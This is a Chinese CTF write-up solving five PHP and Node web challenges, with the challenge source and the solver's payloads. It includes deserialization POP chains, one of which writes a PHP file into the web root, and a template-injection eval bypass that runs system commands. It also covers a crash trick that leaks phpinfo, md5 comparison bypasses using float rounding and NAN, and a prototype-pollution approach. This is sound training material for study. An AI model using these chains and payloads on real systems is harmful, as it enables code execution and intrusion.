又是被大佬带飞的一天

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

父进程调用了pntcl_wait,之后调用pcntl_wifexited,子进程如果异常退出,父进程就会展示phpinfo,用一些disable_functionFuzz了一下a,直接到pfsockopen导致进程异常终止直接输出phpinfo了,Ctrl+f搜索flag

img

大概就是函数造成回调使得进程异常退出,代码就执行phpinfo了,类似的函数还有stream_socket_client

babyunserialize

dirsearch扫出www.zip,下载源码下来发现是和WMCTF2020 webweb一样的框架,代码也没怎么改,所有利用链可以一样,参考

后来传入的时候发现把很多函数都过滤了,最后是想到phpinfo也算函数,再给它传个整数,成功得到phpinfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}
namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"phpinfo"],
$adhoc=["123"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;
}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}

看着师傅们的wp分析下应该是预期解的笔记吧

全局搜索destruct函数

跟进write

又调用了Base的write方法,继续跟进

$file和$data都可控,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected
$dir = '/var/www/html/',
$format = self::FORMAT_JSON,
$data = array("blacknight.php"=>array("a"=>"<?php phpinfo();?>")),
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));

rceme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

zzzcms的模改,参考

parserIfLabel函数应该就是它的魔改,但用原来的payload肯定不行,文件包含函数和命令执行函数过滤了很多,所以我们在{if:assert($_request[phpinfo()])}phpinfo();{end if}的基础上改一下

1
2
3
4
5
6
{if:assert($_request[phpinfo()])}phpinfo();{end if} 失败
{if:assert(phpinfo())}phpinfo();{end if} 失败
{if:phpinfo(123)}phpinfo();{end if}失败
{if:(phpinfo(123))}{end if}失败
{if:(phpinfo)(123)}{end if} 失败
{if:(system)('ls')}{end if} 失败

但题中源码是遍历数组元素过滤,我们拼接一下函数不就可以绕过了吗,所以

1
{if:('sys'.'tem')('ls')}{end if}

那么直接读取根目录文件,读取根目录flag即可

littlegame

直接看路由里的index.js,可以看到得到flag的条件如果是

就会直接往服务端发送flag,来看下admin

获得的是环境变量中传入的值,接着往下看有几个方法

SpawnPoint方法向服务端发送开始指令

Privilage方法接受NewAttributeKey和NewAttributeValue,假如为空则重定向,不为空则传入key和value并将他们传到session中

再看wp的时候学到了一招,在给了package.json的情况下可以直接运行npm audit命令查看存在的漏洞

这里就直接说明了是set-value造成的原型链污染,参考

实践一下,首先开始

创建key和value

检查

easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

要求传序列化字符串,传进去之后强制类型转换,数组绕过强碰撞没了,传入的元素长度必须在5以下,那么一些已知的相同MD5的字符串也没了,如果类型不等,值不等,他们的md5相等,就给flag

php的一个小trick

即如果小数点后面超过14位php就会四舍五入

这样的话我们构造trick1=2,trick2=2.00000000000000112,序列化之后md5的值就都是2了满足了两个md5强相等

而其他两个条件也满足

全部满足,所以构造

1
O:5:"trick":2:{s:6:"trick1";i:2;s:6:"trick2";d: 2.00000000000000112;}

看wp还有一种payload,利用的是NAN和INF的性质,他们分别代表非数字和无穷大,与任何数据类型(除了true)做强类型或弱类型比较均为false,参考

1
2
3
4
5
6
7
8
9
10
<?php
class trick{
public $trick1;
public $trick2;
}
$tr = new trick();
$tr->trick1 = NAN;
$tr->trick2 = NAN;
echo serialize($tr);
//O:5:"trick":2:{s:6:"trick1";d:NAN;s:6:"trick2";d:NAN;}

或者

1
2
3
4
5
6
7
8
9
<?php
class trick{
public $trick1;
public $trick2;
}
$tr = new trick();
$tr->trick1 = INF;
$tr->trick2 = INF;
echo serialize($tr);